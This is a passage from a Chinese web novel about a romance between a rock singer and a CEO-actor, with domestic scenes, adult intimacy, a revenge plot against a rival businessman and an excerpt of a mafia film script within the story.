宋燃犀没有碰到尧新雪,却不断地、不断地缩短距离,然后像训练有素的狗一样凑过去嗅着尧新雪。 他闻见淡淡的消毒水的味道,然后是香根草、白茶混合着的味道,他的眼神变得有些痴迷,却始终克制着,隐忍着,不去触碰到尧新雪。 直到尧新雪微微侧了侧头,仿佛无意般轻轻地碰了碰他的嘴唇。 宋燃犀却像得到了允许般彻底失控,果断地吻了上去,他捏着尧新雪的下颌,慢慢地吻着尧新雪的唇,然后伸出舌头试探着打开尧新雪的齿,疯狂地、迫切地想要得到尧新雪进一步的纵容。 宋燃犀感觉到自己的脑子可能在烧,他尽量保持着小心翼翼,不去碰到尧新雪的眼睛,咬着尧新雪的唇时却很粗鲁和野蛮。 他看不见尧新雪的眼睛,却能感觉到尧新雪的放松,这让他也感到异常的满足。 最后宋燃犀在尧新雪的脖子咬了一下,就又猛地坐回到了自己的座位上。 宋燃犀的心脏在砰砰砰地跳,他呼吸急促,潮红从他的脖子蔓延到脸上,让他看起来更像是喝醉了。 哪怕他站在股东大会,在面对无数台摄像机时他都不会这样狼狈,哪怕他和尧新雪做过更出格的事,他也会因为这个吻搞得面红耳赤。 宋燃犀草草地撸了把自己的头发,然后从后视镜里看尧新雪泛着水光的唇:“去我那。” “随便。”尧新雪的嘴角扬起一点弧度,他慢条斯理地用手指划过自己的嘴唇,像是被取悦到。 第55章 车最后停在了车库,尧新雪下车时想拆掉纱布,又被宋燃犀抓住了手腕。 “别作。”尧新雪嘴角挑起。 “抱或者背,选一个?”宋燃犀的语气轻佻。 “谁管你。”尧新雪任性地说,然后果断下了车。 宋燃犀忙跑下去绕到他那边,拉住了尧新雪的手臂。 “为什么不给我抱?”宋燃犀笑着问。 尧新雪循着声音,透过纱布罅隙里的身影看见宋燃犀,然后随意地抬起脚踢了一下他。 尧新雪的小腿不轻不重地踢到了宋燃犀的腰,宋燃犀也不甘落后,也抬起脚踹回去,但他的动作轻轻的,只报复性地用小腿碰了下尧新雪的大腿。 夕阳西下,金色的光线穿过层云,最后落在他们身上,旁边的墙于是也出现了两个相互追逐的影子。 长发纤瘦的那一个随意地踢着短发的、更高大的那个,短发的那个则不躲不闪,在被踢中后又回极轻的一脚,并时不时地伸起手想要扶他。 宋燃犀说:“尧新雪你怎么这么幼稚?” “你才幼稚。”尧新雪说。 两个人像小学生一样你一脚我一脚地踹来踹去,顺便还拌着嘴。 很难让人联想到这两个人一个是当下最具话题度的摇滚乐队主唱,一个是著名药企的CEO。 就在即将走到台阶前,宋燃犀一把拉过尧新雪的手,将他拉到自己怀里。 宋燃犀的手收紧,就变成了一个结实的拥抱。 他的脚步很稳,牢牢地抱着尧新雪,将脸埋在尧新雪的颈间狠狠地吸了一口,眼神温柔:“故意到我怀里不抱也得抱了。” 尧新雪没挣扎,只是轻声笑了一下。 宋燃犀于是弯下腰抱住他的小腿,把他扛在了肩上。 尧新雪是个极其矛盾的人,他在大多数人面前表现得温柔、体贴、游刃有余,却又会在不经意间流露出狡猾、孩子气的一面。 尧新雪渴望掌控一切,短暂的示弱仅仅是为了更高的回报。他牺牲他人,牺牲自己,冷眼旁观着友人的死亡,无非只是因为心底里始终高悬的那把秤上,乐队利益重于所有。 在尧新雪的心里,似乎没有任何砝码能重于乐队。 从宋燃犀在那晚凌晨听见尧新雪那早有预料般的声音开始——他说,宋燃犀,我今晚害死了一个人;到第二天梅梢月自杀的消息传遍了全网。宋燃犀的关系网还让他最快得知了段以宿最后在得到了梅梢月的股份。 综合现下所有信息,宋燃犀只在几秒内就想明白了梅梢月身亡的前因后果,并知道了一个事实—— 刚参加完梅梢月的葬礼,却还能和他笑着打闹的尧新雪并不是这场悲剧的台下看客,尧新雪看似是坐在离舞台最远的那一排,却也是幕后伸出了那只编写剧本的手的人。 连宋燃犀都忍不住感慨一声,尧新雪才是一个卓越的演员。 他既自私又无私,既残忍又天真,偏生得一副好皮囊,又过于聪明,于是将一切都藏得滴水不漏,让这两极分化的天性转成了难以言说的魅力。 美人如花隔云端,大多数人以为自己痴迷于他完美的皮囊,却始终无法解释其实始终牢牢吸引住他们的并不是尧新雪的外表,而是尧新雪身上这种致命的矛盾性。 但是宋燃犀清楚这一切,他清醒、通透,看见一切却不插手,他和尧新雪是同一个灵魂的两面,也许这也是他屡屡在尧新雪手里夺得特权的原因。 尧新雪,尧新雪,你不要掉下去。 在说出这句话时,就意味着宋燃犀和尧新雪已属于同一类人。 他同样视演戏为最重,为此不惜放弃价值高达十一位数的家产,这一点和尧新雪很像,但其实又和尧新雪截然相反。 因为宋燃犀有很多不能割舍的东西,诸如亲情,友情……而这些从来没有进过尧新雪的心里。 甚至于是爱情。 宋燃犀在想到这里时,心有一瞬间的刺痛。 也许对于尧新雪来说从来不会存在所谓的爱,因为他所做的一切本质都是交换,他付出一些,就势必要得到一些。 宋燃犀有些晃神,他抱着尧新雪小腿的手紧了紧,开始想自己是否对尧新雪来说是特别的。 他从没有确认过他和尧新雪的关系,他不问,尧新雪似乎也没有在意——如果非要说,从尧新雪的态度来看,大概是主人和狗……只有主人才会偶尔纡尊降贵似的睡到狗窝里陪狗玩…… 宋燃犀想明白了最近的事之后草草地下了定论,最后扯了扯嘴角,牢牢地扣着尧新雪的腰,甩了甩脑袋将那些七零八碎的想法都扔了出去,只是像扛着战胜品一样,扛着尧新雪走进了电梯。 他的态度向来是懒得管,除非尧新雪需要。 他虽然不爽段以宿获利,但看来尧新雪已经有了自己的打算。宋燃犀也不打算问,反正人迟早会说。 到了家,尧新雪就准备去洗澡,宋燃犀最后还是给他拆了纱布,让他慢慢地适应着术后的眼睛。 宋燃犀怕小房子抓到尧新雪,就把它关在了笼子里。 尧新雪洗完澡后披着浴巾就主人似的站在宋燃犀的衣柜前找衣服。 宋燃犀也不出声,就这样看着他头发湿淋淋的,然后整个人裹在大号的浴巾里,露出雪白的双腿。 尧新雪随便捞了件白色的睡袍就这样穿好,也不管宋燃犀直白的视线,准备走进客厅。 宋燃犀早有预料般拉住他的手,提醒道:“吹头发。” “等会。”尧新雪懒洋洋地说。 “我来。”宋燃犀说。 尧新雪的动作这才顿了一下,站在了原地。 宋燃犀从旁边拿出一个小板凳,看着尧新雪乖顺地坐下来,弯了弯嘴角:“懒。” 尧新雪的手肘撑在膝盖上,手撑着自己的脸,命令道:“吹。” 宋燃犀眼底的笑意更深了。 他喜欢给尧新雪吹头发,这样细小的、日常的举动很容易让他产生一种尧新雪需要被照顾、正在依赖他的感觉。 他垂着眼,印象里这和之前在出租屋的某一幕重合,宋燃犀不仅哑然失笑——第一次见面时怎么没看出来这人其实是黑芝麻馅的汤圆,白皮下心其实脏得很呢。 尧新雪不知道他心里那些弯弯绕绕,不说话,只是专心致志地发呆。 他能感觉到宋燃犀的手指温柔地按着他的后脑勺,温热的风吹过来。 两个人的心思八竿子打不着一块,却都默契地没有说话,只是听着吹风机呜呜地吹着。 尧新雪的耳朵因为热红了一片,宋燃犀没有忍住用手指碰了碰。 吹完头发,尧新雪就往客厅走去,宋燃犀收好吹风机,无奈地叹了口气,扬声道:“眼睛刚做完手术,别把它放出来了。” 尧新雪没搭理他,等宋燃犀洗完澡出来时,果然看到尧新雪蹲在笼子前逗猫。 他也不怕被猫咬,就这样伸着修长的手指进笼子,有一下没一下地挠着猫的脑袋。 小房子在家里向来是自由进出,除了偶尔会栽进马桶之外,惹恼宋燃犀,宋燃犀会把它关禁闭之外,宋燃犀基本没有把它关起来过。 宋铲屎官每天尽职尽责,给猫粮给玩具负责铲屎,俨然让它觉得自己才应该是家里食物链的顶层,因此对今天没犯任何事结果还要被关进笼子,感到非常委屈。 小房子只觉得自己的活动范围骤然缩小,感到强烈的不满,拉长了声音“喵”“喵”地骂骂咧咧。 尧新雪伸手指进去点着它的脑袋,学着它小声地“喵”“喵”地叫,猫仿佛受了天大的委屈,向他控诉着。 猫嗅着尧新雪的手指,几分钟之后,终于安静了下来。 宋燃犀忍不住啧了声,平时遇到这种情况,小房子不咬他两口就不错了。 猫默默地趴了下来,顺从地揣着爪,只是委屈巴巴地望着尧新雪。 尧新雪似乎看得心软,刚把手伸向笼锁,就被宋燃犀“哎”了一声。 猫和尧新雪同时抬头望向宋燃犀。 宋燃犀毫不动摇,严肃地说:“不准放。” 尧新雪盯了他一会,然后才说:“饿了。” 宋燃犀说:“坐着等会,我去做饭。” 宋燃犀喜欢自己下厨,加上一个时不时就会突然降临在家里的尧新雪,于是家里的冰箱总是备有新鲜的食材。 他先是系上了围裙,然后在冰箱里拿出了一个水果罐头,打开给尧新雪垫垫肚子。 尧新雪的反应像是遇到了新口味冻干的猫,先是看着眼前的罐头,然后像是在思考它的味道,思考好几秒之后,终于决定下口,叉起一块放进嘴里。 宋燃犀在等水开,抱着双臂看着尧新雪的眉头先是微微一皱,然后变得有些犹豫,最后又叉起一块。 宋燃犀没忍住笑了。 尧新雪抬起头看了他一眼,宋燃犀则慢悠悠地评价道:“猫吃冻干就这样。” 尧新雪没理他,只是低头吃。 宋燃犀根据过往的经验判断出尧新雪的口味清淡,偏酸甜口,于是做了糖醋排骨和土豆炖鸡,等饭的期间又在旁边的灶台上熬汤,最后炒上一盘小白菜就可以吃了。 尧新雪吃饭时贯彻了“食不言”的原则,他吃饭的姿态很优雅,慢条斯理,宋燃犀知道,这些应该都是他在贺忆舟家里留下的习惯。 罐头太甜,有些腻味,尧新雪只吃了半碗饭就不吃了。 他撑着下颌就这样坐着看宋燃犀,宋燃犀抬头看了他一眼,然后将他面前剩下的那半碗饭扒拉过来继续吃。 尧新雪笑了一下:“吃剩饭?” 宋燃犀却面不改色,仿佛这是什么理所应当的事,瞥了他一眼只说:“不像你,我节约粮食。” 把碗收拾进洗碗机,宋燃犀就看到尧新雪正闭着眼睛靠在沙发上。 他轻手轻脚地凑过去,尧新雪就睁开了眼睛。 毫无预兆的情况下,尧新雪的眼睛流出了些许眼泪,宋燃犀的心猛地一跳。 “喂……” 哪怕知道这是做了近视眼手术后的正常反应,宋燃犀也依然有些手足无措。 尧新雪却跟个没事人似的从兜里拿出一条手帕轻轻地抹去了那点泪,灯光之下,他脸上的那道泪痕格外地显眼。 “我想送你一份礼物。”尧新雪抬起手指蹭了蹭宋燃犀的下颌。 宋燃犀抬眼:“无事献殷勤,非奸即盗。” 他虽然这么说,却还是将耳朵凑了过去,心想,这人终于开口说了。 从尧新雪出现在他家医院开始,宋燃犀就等着他主动开口。 尧新雪的声音里带着明显的愉悦,他轻声说:“我把指针音乐送给你好不好?” 第56章 宋燃犀听到尧新雪的话,先是眨了下眼睛,然后皮笑肉不笑,他浑然不觉自己语气里有多嫉恨:“我以为你已经成为段以宿的同谋了。” “黑羊的版权在他手里。”尧新雪没有正面回答宋燃犀的问题,只是慢慢说,他的手指亲昵地蹭着宋燃犀的下颌,仿佛宋燃犀也是他所饲养的宠物。 宋燃犀垂着眼,注视着尧新雪那双含着水光的眼睛,他又一次拿着手帕轻轻擦去尧新雪溢出眼角的泪水,然后又将脸凑近过去,他没有回答尧新雪,却舔了舔尧新雪的泪痕。 是咸的。 尧新雪觉得痒,想要偏过头去,却被他捏住了下颌。 宋燃犀贴着他的耳朵轻声说:“段以宿心眼比煤蜂窝多,从商二十多年来没有留下过任何把柄,我的人查过,大大小小能猜出他干过的黑心事是不少,但是也只限于猜测了。” 他向尧新雪冷静地交代了这一切,他看过段以宿过去的所有材料和资产,但始终一无所获,找不到任何合适的突破口。 尧新雪嘴角的笑意更深了,宋燃犀早早存有掰倒段以宿的心思这件事显然取悦到了他。 尧新雪温热的指腹轻轻摩挲着宋燃犀的嘴唇,最后奖励般给了宋燃犀一个吻。 从尧新雪第一次带着浑身的伤出现在宋燃犀的面前开始,就意味着段以宿注定会是宋燃犀的死敌。 宋燃犀接手宋氏至今,哪怕要演戏应酬两头跑也依然不愿放手,想加倍报复段以宿是绝大一部分原因。 尧新雪垂着眸,不知道在想什么。 宋燃犀被亲了一下之后又狠狠地吻了过去,无论尧新雪当初是不是故意让他看到身上的伤口,反正宋燃犀是记恨上了。 他亲完之后幽怨地看着尧新雪:“老东西现在的资产可是我的十几倍。” “没关系,我会教你。”尧新雪微微一笑,然后就勾上了宋燃犀的脖子。 因为这个倚靠的动作,丝绸睡袍宽大的袖子就这样沿着尧新雪的手臂滑落,露出一小节雪白的小臂,柔和的暖黄色的灯光洒落在上面,让宋燃犀有想要咬他一口的冲动。 宋燃犀搂住他的腰,然后真的低下头咬了下去,尧新雪感到手臂上的些许痛意。 “你怎么教我,段以宿知道你现在在我这里吗?”宋燃犀嗤笑一声,却吻着尧新雪的手腕,最后亲上了尧新雪的手指。 他说话夹枪带棒,句句不离攻击段以宿,一边无比乖顺般亲吻着尧新雪的手,却又用极具侵略性的目光望着尧新雪。 “他知道与否不重要,重要的是机会难得。”尧新雪的眼神闪烁,他微微笑着,揪着宋燃犀的头发,逼迫宋燃犀靠近自己。 宋燃犀感到痛意,但是无比顺从地吻上了尧新雪的嘴唇,他已经知道自己怎么样才能让尧新雪开心——尧新雪显然更喜欢他顺从、听话的样子。 “我说过了,我要让他……”尧新雪的嘴唇勾起,贴着宋燃犀的耳朵用气音说,“永远不再出现在我的面前。” 他的语气像是即将去探险或是找到新游戏的孩子,带着与往常冷静温柔截然相反的快乐与些许兴奋。 宋燃犀在那一刻想到了“身败名裂”四个字,对于段以宿这样傲慢自大的人来说,彻底击溃他的自信,让他失去一切无遗是最好的报复。 宋燃犀不觉得尧新雪会如何手下留情,尧新雪甚至比他更会折磨人,宋燃犀对此有些幸灾乐祸。 他偏过脸咬住尧新雪的耳朵,声音带着毫不掩饰的笑意:“乐意之至。” 宋燃犀俯下身开始解开尧新雪浴袍的带子,低头吻尧新雪的肋骨,手牢牢地扣着尧新雪的胯骨。 沙发陷进去一小块,尧新雪依然攥着宋燃犀的头发。 尧新雪纵容他的亲吻,甚至表情愉悦。 宋燃犀于是沿着他的人鱼线慢慢往下,就被尧新雪警告似的抓紧了头发,如同栓在颈上的绳索被猛地拉紧了,宋燃犀痛得不得不仰起了头望向尧新雪。 这个人好像并不冷静,手术让尧新雪的眼睛又流出了眼泪,他仿佛不堪这样的刺激,眼尾甚至有些红,但他没有去擦,只是这样看着宋燃犀低声警告道:“够了。” “我听说你叫他老师?”宋燃犀没有挣脱开尧新雪的手,他的手指只是从尧新雪凸起的胯骨又一次往上滑滑上尧新雪柔软的小腹,给尧新雪缓冲的时间。 宋燃犀摸到尧新雪身上的疤,那些由他处理过的、段以宿留下的或深或浅的伤口如今已经成了浅粉色的痕迹。但宋燃犀知道,这些伤口真实存在过,有多么刺眼。 “我叫他很多,你都想听吗?”尧新雪哼笑一声,他往后仰了点,一脚踩在宋燃犀的肩上,像是想要把宋燃犀踹开。 但这个动作让宽松的睡袍彻底地从他的膝上滑落,露出了大片大片的皮肤。 宋燃犀抓住了尧新雪的脚踝,感觉到喉咙有点渴。 “我可没有绿帽癖,”宋燃犀冷笑一声,挑起眉,“不过你可以叫我点别的。” “哦,宋燃犀。”尧新雪学着他挑眉,懒洋洋地偏过头靠着枕头,踩在他肩膀上的脚用了点力,然而宋燃犀纹丝不动,反而加重手上的力度,拉着他往自己的方向靠近。 宋燃犀盯着他,幼稚地学舌道:“哦,宋燃犀。” 宋燃犀侧过头亲了一下尧新雪脚踝上突出的那块骨头,带茧的手指如同裁缝拉开卷尺般丈量着尧新雪的腰,指腹一寸一寸地摩挲过他的皮肤,最后在尧新雪轻眯着的眼睛注视下又一次低下了头。 宋燃犀过去在性这方面可以说是毫无经验,最多自己解决,遇到尧新雪之后,仿佛开了窍般进步神速。 他在尧新雪身上学到的东西很多,他甚至清楚地知道着什么样的姿势,什么样的力度或频率能够取悦到尧新雪。 比如现在,尧新雪攥着他的头发手放松了点,就代表着尧新雪其实已经开始在享受。 比如几秒之后,他的犬齿没收好碰到了,尧新雪攥着他头发的手又猛地收紧,呼吸加重,就代表着尧新雪对他的失误其实很不满。 宋燃犀微微抬起眼,就能看到尧新雪此刻微微皱着眉,漂亮的眼睛含了一层水光,眼角的泪水不断地滑落,手术带来的短暂的后遗症让他看起来真的像是被宋燃犀弄哭了一样。 尧新雪头下的枕头洇湿一片,因为欲望,他仰起了修长的颈,红润的唇微微张开,但即使是这样,挑眉望向宋燃犀时,嘴角依然是挑起的。 香根草、白茶与柠檬的香味混在一起,最后宋燃犀吐了吐舌头向尧新雪展示他的成果。 尧新雪的脚挣开宋燃犀的手,最后毫不收敛地踩了踩宋燃犀的小腹,随口道:“去漱口。” “来接吻。”宋燃犀俯身想要凑过去亲尧新雪,被尧新雪踩得闷哼一声,最后啧了声,笑道,“骗你的。” 等他洗漱完出来,尧新雪已经躲回被窝里睡觉了。 尧新雪总是这样,把空调开得很低,却又喜欢把自己严严实实地裹在柔软的被子里扮演粽子,然后闭上眼睛,很缺觉似的。 宋燃犀知道他没睡着,把空调调高了点又准备把人从被子里挖出来滴眼药水。 结果尧新雪还没转过身,一只毛绒绒的小东西就率先从尧新雪的怀里钻了出来,露出了个小脑袋。 小房子就这样和宋燃犀对视,无辜的黑色眼睛眨了眨,奶声奶气地“喵”了一声。 宋燃犀:…… “尧新雪你幼不幼稚。”他有些无语,拎起猫放到一边。 “不给就不给。”尧新雪没理他,又往被窝里埋了点,就是不转过身来。 宋燃犀气笑了,小孩子吗?被拿走玩具就要闹脾气。 他只好又把猫扔回来:“滴眼药水,转过来行不行?” 滴完眼药水,宋燃犀就不由分说地把猫抢了过去,然后将猫扔到了客厅锁上房门,在尧新雪冷冷的目光下,他更是感到心情愉悦,刚把手搭上尧新雪的腰,就被尧新雪打了一下。 “滚。”尧新雪说,又转回去当粽子了。 宋燃犀盯着那个后脑勺,许久之后,啧了声。 第二天早上,娱乐圈又爆了条热搜:宋燃犀直播。 短短五分钟,观看的人马上就从几万到了五十多万。 原因无他,主要还是两个,一个是CEO兼少年影帝的光环加持,一个是宋燃犀实在是太少露面了,导致网友们立刻闻风赶来打算看看这人突然开直播是为了什么。 镜头前是一个穿着白色背心、黑色短裤的年轻男人,他的身材不错,肌肉线条之流畅一看就知道是经常锻炼的一类人。他的头发有些乱,眉眼锋利,挑起的嘴角明显让人看出他的心情愉悦。 此刻他的手指沾了点面粉,正一手拿着勺子舀肉馅,一手熟练地包馄饨。 【哥怎么突然开直播了?】 【哥早上好啊,好久不见……】 …… 宋燃犀瞥了一眼弹幕,也清爽地说:“早上好啊。” 他挑了几个问题回复:“心情好就开了呗,教你们做早餐。” 像聊天一样,他随口回着别人的问题,然后想起来就补充一句:“要加点油,不然不好吃……” 有眼尖的人看到他在旁边准备了两个碗。 【咦,有两个碗!】 【还真是,难道小宋有女朋友了?】 …… “男朋友。”宋燃犀淡定道,并心想终于有人看到了,镇定地下馄饨,“和我住在一起。” 【哥收敛点,嘴角翘得能钓鱼了。】 【什么?男朋友?让我看看让我看看!!!】 【你咋这么有福气……】 …… 宋燃犀看着手机上飞快地滑过一条条评论,毫不掩饰眼底的炫耀之意,耳边听到猫叫,他就知道尧新雪起床了。 “他来了,拜拜。” 没让网友们捕捉到一点蛛丝马迹,宋燃犀就迅速地关了手机。 “吃什么?”尧新雪刚好在下一秒走进厨房,从他身后懒洋洋地探出个脑袋。 “馄饨面。”宋燃犀盖上了锅,嘴角挑起,仿佛刚刚什么事都没发生。 第57章 就在宋燃犀关掉直播之后,关于他的热搜又一次爆了,没有人不喜欢吃瓜,关于宋燃犀的过去又一次被搬到了网上。 包括他十四岁获得戛纳影帝的影片。 他的演技堪称天才,透过接手宋氏集团的手段也可知他不仅有演技,也是绝对的心机深沉。 他的表演堪称惊艳,在十四岁时就展现出了远超同龄人的表演深度和细腻情感,即使年纪很小,强大的共情能力却依然能够将角色的复杂内心精准传达,让他的表演自然得让人几乎察觉不到表演的痕迹。 在十四岁那年,宋燃犀以一票优胜于阅历非凡的前辈,成为戛纳史上最年轻的影帝,之后出镜的新作品都极为冷门,直到许弋的《罪爱》横空出世,再一次将他推上了戛纳的红毯。 关于他的过去都被一一扒了出来,网上掀起一大片讨论宋燃犀的热潮。 然而当事人在家里安生地给尧新雪舀馄饨面。 尧新雪起得很晚,时间已经临近中午,又没把那一碗吃完,宋燃犀也不逼他,只是乖顺地扒拉过尧新雪的碗埋下头继续吃。 两个人心照不宣地不再提起段以宿的事,只是各做各的。 梅梢月身死的消息让所有人都措不及防,舆论还在持续发酵,段以宿是幕后最大的既得利益者,无论如何,现在都不是动他的好时机。 至少,尧新雪说的那个“机会”并不是此刻。 所以尧新雪把手机关机一扔就在宋燃犀的家里隐居起来。 断网后,他也对外界的热搜一无所知。 宋燃犀刚好有假,也跟着他窝在家里,打打游戏做做饭,偶尔接个吻。 晚上两个人随便找了一部电影,坐在沙发上准备看。 因为尧新雪偶尔会赤脚走出来,所以宋燃犀家里铺的都是地毯。沙发前还有个巨大的猫爪,这是个懒人沙发,软得人坐上去就塌下来夸张得见不到人影。 这是宋燃犀逛家具城的时候无意间看到的,只是因为看到这玩意就想起了尧新雪,于是又随手买了下来。 果不其然,尧新雪很喜欢。 宋燃犀每次都能看到尧新雪栽在那个巨大的猫爪上睡觉。 他总不嫌脏,长发散得落到地板上也无所谓,又贪睡,不是在床上就是在猫爪上。 尧新雪懒,身上还穿着宋燃犀大一码的衣服,嫌裤子大就又没穿,宋燃犀拉着他的手把他拉起来,自己坐进猫爪,然后把尧新雪抱在怀里,像抱着巨大的洋娃娃。 尧新雪一副没睡醒的样子,哑着声音说:“别占我位置。” 宋燃犀打开电视,把他雪白的双腿圈起来,然后若无其事地说:“我的地盘我做主。” 尧新雪懒得理他,调整了一个舒服的姿势之后就又闭上了眼睛。 这部电影很无聊,宋燃犀关了声音,就这样垫在尧新雪的脑袋上看。 他嗅到香根草的味道,这个味道曾一度让他深深地痴迷。 他没有在看电影放着什么,只是满足着这安静的一刻。 尧新雪只感到背后的宋燃犀是巨大的暖源,他听着宋燃犀规律的心跳,很快就睡着了。 也就不知道宋燃犀在最后小心翼翼地把他抱起来,抱回了床上。 第二天,尧新雪就被宋燃犀叫醒,还没等他睁开眼睛,就被捏着脸亲了一下说:“起床了,跟我去上班。” “不去。”尧新雪懒懒地抬手,想要推开他,却因为实在太困,动作变成了按一下宋燃犀的胸口。 宋燃犀在他的手滑落之前就抓紧了,耐心地哄道:“没人在家给你做饭。” “点外卖。”尧新雪闭着眼睛。 “我不放心。”宋燃犀接着说。 “不关你事……”尧新雪困得不行了,最后的声音消失在了被窝里。 宋燃犀钻进被窝里陪他又睡了半个小时之后连哄带骗终于把人骗起床了。 尧新雪就这样被宋燃犀摆布,严严实实地套上出门的衣服,又绑好了极具标志性的蓝灰色长发,最后还戴上了鸭舌帽和口罩。 从上车到下车,尧新雪打了三个哈欠,宋燃犀都不知道他到底为什么这么困。 宋燃犀把他以家属的名义带到了电影的片场,贴着他的耳朵说:“别让别人知道你是谁。” “那你带我来干什么?”尧新雪被他包得只剩下一双动人的眼睛。 “困了就去我的房车睡,想要什么让小言买给你。”宋燃犀没管他的问题,摸了摸尧新雪的脸就往许弋的方向走。 小言是他的助理,跟在宋燃犀的身边,将刚分好的剧本拿给他,宋燃犀交代道:“给他买艇仔粥和几个烧麦,记得要热的,然后别让其他人跟他搭讪。” 小言今天早上还在吃着自己老板的瓜,心里猛地一拉警铃:那个男人不会就是老板的男朋友吧! 小言似懂非懂地点点头说好,宋燃犀瞥了他一眼:“他困了就让他去我房车,别随便跟他搭讪。” 这样描述,老板的男朋友看起来像个国宝,小言忙不迭地点头答应了。 宋燃犀去和许弋、其他演员讨论剧本去了,期间时不时地抬头看向尧新雪的方向,只见尧新雪将鸭舌帽压得低了一点,看上去又像是睡着了。 小言得了命令马不停蹄地就跑去买早餐,赶在热乎的粥凉之前跑到了“老板男朋友”身边。 他小声地叫了句:“您好。” 尧新雪的脑袋还靠在椅背上,却在听见声音后抬高了些许帽檐,侧眼看向了小言。 他只露出了一双眼睛和小言对视,却让小言变成了脸红的结巴:“燃哥让我给您买早餐,您吃点吧。” “嗯?”尧新雪从口罩里疑惑地嗯了一声,眼睛仿佛蒙了一层水光,“好啊。” 小言屁颠屁颠地搬来一张折叠式的小桌子,顺便坐在了尧新雪的对面,殷勤地拆开包装,向尧新雪介绍道:“这是艇仔粥,这是流沙包,这是烧麦,这是……” 快有十几个早点了,尧新雪轻轻笑了一下:“吃不了这么多。” 他的声音带着些许哑,但格外地动人,小言低了低头:“燃哥报销。” “你吃了吗,你跟我一起吃吧。”尧新雪勾住口罩的带子,然后微微笑道。 “……好。”小言说。 他一边在心里疯狂尖叫着:老板的男朋友怎么会是黑羊乐队主唱尧新雪!!!一边握着筷子的手有些发抖,就在昨晚,他还在梦里看黑羊的演唱会…… 他终于知道为什么宋燃犀防得这么严了,如果尧新雪是他的男朋友,想必不出一分钟,全网都得爆炸;如果尧新雪的身份在这里暴露,想必这里就不会是片场而是黑羊的粉丝见面会了…… 小言激动得半天夹不起一个流沙包,尧新雪好心地帮他夹起来放到了他的碗里。 小言的头低得更低了,脖子的红蔓延到了耳尖:“谢谢!” 他偷偷注视着尧新雪,只见尧新雪挑挑拣拣出油条,豆沙包和花生等这些宋燃犀一看就知道是尧新雪不喜欢吃的东西,把它们单独放在一个碗里,然后微微笑着对小言说:“等会麻烦你把这些带给你燃哥。” 小言应了句好,却有点嫉妒起老板——尧新雪还会给他单独留出一份早餐! 宋燃犀时不时地用余光瞥向尧新雪的方向,只见他的助理和尧新雪正愉快地吃着早餐,有些不满地啧了声。 许弋学着他好奇地往那边看去,望着不远处被鸭舌帽遮住大半张脸,却因为一绺垂下的蓝色长发暴露身份的男人,压低了声音道:“哎哟,这位来了。” “别看他。”宋燃犀也压低声音警告道。 “你把他带过来就不怕我这里被他的粉丝踏平吗?”许弋默默地收回了视线,镇定道。 “有我看着他,谁知道。”宋燃犀无所谓地耸了耸肩,却还是用警告意味十足的目光投向了小言。 小言显然还沉醉在和偶像尧新雪的见面礼,毫无察觉,他侃侃而谈,努力地向尧新雪证明着着自己对黑羊乐队是如何的喜爱。 只有尧新雪注意到了宋燃犀的目光,但他却只是饶有趣味地挑了挑嘴角。 “宋燃犀对你好吗?”尧新雪一手撑着下颌,一边歪了歪头问小言。 他的眼睛含着隐约的笑意,因为桌子太小,两人的双腿几乎要碰在一起。 “老板其实人挺好的,但有时候太工作狂了,我就连跟着加班通宵。”小言紧张得绷紧身体,在这个距离之下,他甚至能嗅到属于尧新雪的香根草的味道。 “那你一定很辛苦了。”尧新雪说,他勾着唇,“跟我走好不好?来做我的助理?” “好……”小言几乎脱口而出,他兴奋得猛地抬起头和尧新雪对视,然而话音未落就被人截断。 “好,好个屁!”宋燃犀忽地出现在两人的面前,咬牙切齿道,他不知道在对谁说,“不准挖我的墙角。” 他回来之后,尧新雪就像恶作剧成功了般抬起眼看向他:“你来了?” “吃这个。”尧新雪推了推旁边的那碗被他挑出来的早点。 宋燃犀淡淡地扫了一眼小言,然后从旁边搬了张小板凳说:“哦。” 第58章 “十三岁那年,我第一次杀了人。 那天晚上下了一场大暴雨,雨水轰然冲下来,疯狂地拍打着窗。这个屋顶被风吹得仿佛下一秒就会掀开的小破屋却异常地安静,我知道,所有人都在等待着我开枪。 啊啊,谢特兰地区最大的黑手党,没有人敢制裁,没有人质疑,凌驾于所有法律条文之上,人命只是档案袋上的一个数字。伟大的黑手党,无所不催的黑手党,这头恶犬下一任年轻的主人竟然不敢开枪吗? 我站在一个被麻绳捆绑严实的瘦弱男人面前,举着枪的手一动不动,身后西装革履的人都安静地看着这一幕,我知道,他们将会把我的反应一一如实地告诉我那严格的父亲。 那个男人在颤抖,他害怕得失禁,如同一只待宰的羔羊。我在来到这里时曾问我的下属,他犯了什么罪。 下属叼着烟,听到我的问题只是轻蔑地笑了一下。 我知道他在笑什么,笑我的假惺惺,笑我的假慈悲,无论他犯的是什么事,今晚他都势必要死在我的枪下。 我的后背其实沁出了冷汗,但我始终没有扣下扳机。 我的心脏发紧,僵持在原地,即使这是他们眼里过家家的游戏。 我突然听到了身后极小的啜泣声。 如同一只幼猫的嘤咛,在这寂静的空间里显得格外刺耳。 下属对视了一眼,我知道他们发现了,被绑着的蠢货同样将求救的目光投向了我身后的床板之下,我的呼吸重了一点。 他们很快就有所动作,我的心猛地一跳,在自己都没有反应过来前就上前一步,将枪抵在了男人的胸口。 ‘砰———’ 枪响让所有人都怔了一下,把他们的注意力都转到了我的身上,我的胸口剧烈地起伏着,注视着那骤然睁大眼睛的男人。他死不瞑目,看的却不是作为杀人凶手的我,而是床板下的一个人。 我的呼吸微微颤抖,然后松开了枪,偏了偏头,冷淡道:‘杀了,满意了吗?给我收拾干净。’ 在带着所有人准备离开那个小屋前,我看到了挂在墙上的男人与一个女孩的合影——他们举止亲密,像是父女。 无论如何,她总归是无辜的。 这件事深深地扎根在我的心底,如同一根刺难以拔除,这之后我杀了难以计数的人,却依然无法忘记那声如幼猫般绝望的啜泣。 直到那个女人出现在我面前,我见她的第一眼我就知道她就是当年的那只猫——她和那个男人长得多么像啊,我一记就是十五年。 我杀了她的父亲,却又给了她一条命。 这个女人,会怎么想我?我抱着这样的想法将她留在了我的身边,一留就又是五年。” 这是许弋执导的第三部电影《错轨》,由宋燃犀担任主演,饰演成年后的黑手党首领亚瑟。这是一个极其复杂的角色,既要有背负家族命运、黑手党年轻领袖的冷酷无情,又要有会杀人而感到愧疚的善良。 宋燃犀今天要拍的是一段枪战,布景是漂亮精致的餐厅,摆在餐桌上的每一道美食都由道具师亲手做的。 所以道具是一次性的,布景也都是一次性的,许弋要求尽量一镜到底,几个主演都紧张地打着哈哈。 在剧本里,地区所有有头有脸的人物在今日都集中在这个餐厅,年轻的黑手党领袖将在这里砸场子,竖立威信。 尧新雪和小言坐在最外围,看着摄影机和工作人员就位。 